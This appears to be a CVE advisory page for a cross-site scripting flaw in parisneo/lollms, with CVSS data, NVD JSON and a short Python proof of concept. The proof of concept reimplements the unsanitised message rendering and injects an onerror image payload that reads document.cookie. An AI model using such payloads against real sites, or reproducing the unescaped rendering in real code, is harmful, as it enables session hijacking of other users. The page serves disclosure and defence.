Security Vulnerability Report
中文
CVE-2026-1116 CVSS 6.1 MEDIUM

CVE-2026-1116

Published: 2026-04-12 03:16:08
Last Modified: 2026-04-17 16:18:10

Description

A Cross-site Scripting (XSS) vulnerability was identified in the `from_dict` method of the `AppLollmsMessage` class in parisneo/lollms prior to version 2.2.0. The vulnerability arises from the lack of sanitization or HTML encoding of the `content` field when deserializing user-provided data. This allows an attacker to inject malicious HTML or JavaScript payloads, which can be executed in the context of another user's browser. Exploitation of this vulnerability can lead to account takeover, session hijacking, or wormable attacks.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:lollms:lollms:*:*:*:*:*:*:*:* - VULNERABLE
parisneo/lollms < 2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-1116 # Simulating the vulnerable deserialization in parisneo/lollms import json class AppLollmsMessage: def __init__(self, role, content): self.role = role self.content = content @classmethod def from_dict(cls, data): # Vulnerable implementation: no sanitization of 'content' return cls(data.get('role'), data.get('content')) def render(self): # Vulnerable rendering: direct output to HTML return f"<div class='message'>{self.content}</div>" # Malicious payload containing JavaScript payload = '<img src=x onerror=alert(document.cookie)>' # Attacker crafted data malicious_dict = { "role": "user", "content": payload } # Exploitation: Deserializing the malicious data msg = AppLollmsMessage.from_dict(malicious_dict) # Output the rendered HTML (simulating what the victim sees) print("Rendered Output:") print(msg.render())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1116", "sourceIdentifier": "[email protected]", "published": "2026-04-12T03:16:07.600", "lastModified": "2026-04-17T16:18:09.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-site Scripting (XSS) vulnerability was identified in the `from_dict` method of the `AppLollmsMessage` class in parisneo/lollms prior to version 2.2.0. The vulnerability arises from the lack of sanitization or HTML encoding of the `content` field when deserializing user-provided data. This allows an attacker to inject malicious HTML or JavaScript payloads, which can be executed in the context of another user's browser. Exploitation of this vulnerability can lead to account takeover, session hijacking, or wormable attacks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lollms:lollms:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.1.0", "matchCriteriaId": "7118851E-5C3C-499B-BBB5-0327B7FD85AF"}]}]}], "references": [{"url": "https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/d3d076a7-2a51-4e07-8d0e-91e28e76788e", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}